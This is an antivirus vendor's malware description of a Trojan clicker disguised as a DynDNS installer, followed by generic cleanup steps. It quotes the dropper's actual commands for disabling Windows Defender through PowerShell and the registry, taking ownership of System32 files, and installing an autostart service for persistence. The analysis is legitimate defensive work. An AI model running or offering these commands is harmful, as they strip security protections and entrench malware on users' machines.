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Added to the Dr.Web virus database: 2018-11-15

Virus description added:


  • f98b98d7cfb9959c42f79dcdfa5ef9012a6c8a65
  • 6e774cb765455281979bbe359972d191afbe82d4
  • 64058cd91af671e757756f790c98bcd10e1982b8
  • 1f71605b72c9382bedff3aea8c4883ca1baaa8f7

A Trojan clicker, distributed under the guise of the DynDNS app from the website in the archive The archive contains the setup.exe application, which downloads the Setup100.arj file—an MZPE with modified MZ and PE signatures and a modified offset to the PE header:

screenshot Trojan.Click3.27430 #drweb

When launched, the dropper uses PowerShell to disable Windows Defender:

powershell  New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
powershell  Set-MpPreference -DisableRealtimeMonitoring $true
cmd.exe /c net stop WinDefend
net  stop WinDefend

Then it modifies the registry:

SetValueKey       [<HKLM>\Software\Policies\Microsoft\Windows Defender\UX Configuration] 'Notification_Suppress' = '00000001'
SetValueKey       [<HKLM>\Software\Policies\Microsoft\Windows Defender] 'DisableAntiSpyware' = '00000001'
SetValueKey       [<HKLM>\Software\Policies\Microsoft\Windows Defender\Real-Time Protection] 'DisableRealtimeMonitoring' = '00000001'
SetValueKey       [<HKLM>\Software\Policies\Microsoft\Windows Defender\Real-Time Protection] 'DisableBehaviorMonitoring' = '00000001'
SetValueKey       [<HKLM>\Software\Policies\Microsoft\Windows Defender\Real-Time Protection] 'DisableOAVProtection' = '00000001'
SetValueKey       [<HKLM>\Software\Policies\Microsoft\Windows Defender\Real-Time Protection] 'DisableOnAccessProtection' = '00000001'

Next, it prepares to install and update its services:

cmd.exe /c net stop YandexService & takeown /f "<SYSTEM32>\yandexservice.exe" & icacls "<SYSTEM32>\yandexservice.exe" /grant user:F /c
cmd.exe /c net stop DNS-Service & takeown /f "<SYSTEM32>\dnsservice.exe" & icacls "<SYSTEM32>\dnsservice.exe" /grant user:F /c

After that, the dropper saves the files instsrv.exe, srvany.exe, dnshost.exe, and yandexservice.exe (which contains the Trojan) to the %System32% folder and installs the service:

cmd.exe /c takeown /f "<SYSTEM32>\yandexservice.exe" & icacls "<SYSTEM32>\yandexservice.exe" /grant user:F /c
cmd.exe /c takeown /f "<SYSTEM32>\srvany.exe" & icacls "<SYSTEM32>\srvany.exe" /grant user:F /c 
cmd.exe /c takeown /f "<SYSTEM32>\instsrv.exe" & icacls "<SYSTEM32>\instsrv.exe" /grant user:F /c
cmd.exe /c takeown /f "<SYSTEM32>\dnsservice.exe" & icacls "<SYSTEM32>\dnsservice.exe" /grant user:F /c
cmd.exe /c  <SYSTEM32>\instsrv.exe YandexService remove
cmd.exe /c  <SYSTEM32>\instsrv.exe YandexService <SYSTEM32>\srvany.exe

Then the Trojan manually modifies the settings of the service so that yandexservice.exe autoruns at the same time Windows launches, and then starts up the service:

cmd.exe /c sc config "YandexService" start= auto
cmd.exe /c net start YandexService

Then the dropper installs the DynDNS application. The application archive contains the following files:


When the program is uninstalled by regular Windows tools, it only uninstalls the application; meanwhile, the Trojan remains in the system.

The complete list of indicators of compromise can be found here.

News about the Trojan

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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